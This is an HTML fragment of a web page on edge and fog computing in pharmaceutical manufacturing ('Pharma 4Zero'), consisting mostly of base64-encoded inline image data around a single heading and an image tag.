Yhfx6K+xXFLh5aeK/D+98Pr486zEvMfyVOtH32lhQU24B6lK0pVrsdarj3hf9zryfHeIsK+Zzmtnl2K0S0SmEW9DokTC2oKQFpWAGRsAnS3O2t+tes4FxO2s7SrTrSw3nHfoeC8puC3nEOIUK1vHMVjPdh51O1sixux5hjsvGsktrE+23BgsyI7ydpWkj949iD3BANfMbxL+Ga+8C74bjbUPzsTnOEQ5hG1ME9mXT8fgfX7a+p4ToaHYdKtuTY1YsvskvG8ltjFwts9stSGHk7StJ/gPwI6g1yuE8Yq8Lq8y1g91+up2+PeT9Djlvyy0mtn9H3Hyn4A8e8o4FZSLrbFLlWiYpKbpbSrSJDY7KT8HE7OlfaD0NfVXD8ptObYvbMssbqnIF1jNymFKGjyLGxsehrh3Kvuc2Y/qvcThWZWdOMPO8za7ip32yK2T1RypQUulI7HnRzeuu57X4f4bbuHuF2bCrU447Fs0RuI245rmc5RoqVr1J6/lrpeUd1YXihWtnmb38O/vON5HWPFeGupbXqxTX2dc693ccr/dGjq2YP/wib/it1p/wQq/+X+1D/wCwzP4uuyPEpwCa484rFt8S6ptt3tDq34D7qCtpRUnSm1gdQDpPvDZGux7Vgfhj8JFz4PZC9m2a3yDNu6WVx4ke3lamWUq+ssrWElRI6a5QB8TVmz4ta0uCTtZS9fVY8TncR8n76v5UU76EP3aaeeixv7Tp+oVD7Kh6arxnefTD54eMpWuO8/8A4BE/xDW2vACdwczP/joX+K7WSeJLwsXbi3kcfM8NvMGHc/IRFlR55Wll1CCeVaVoSohQ2QQUkEa7a65z4d+B6eCWLSbfMuSJ92ujyZE59pJDaSE6S2jfUpT1946JKidDoB7m84xaVeAxs4y/eYiseDyz5LwzyZ4jQ8r58RnDFLMnzZ3ymljv1NtCo1KO9TV4c+tClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQCoHtUaUBLrp2p1qalCMZJev5qhontU9KbEkp6U0db+NTUqMAk/PUfl1qalSQSa3TlP21PSowSSa0O1RA+IqalSRglA67qalKEilKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQH//2Q=="/></p>
<h2>Empowering Pharma 4Zero With Edge Computing</h2>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="406px" alt="fog computing meaning" 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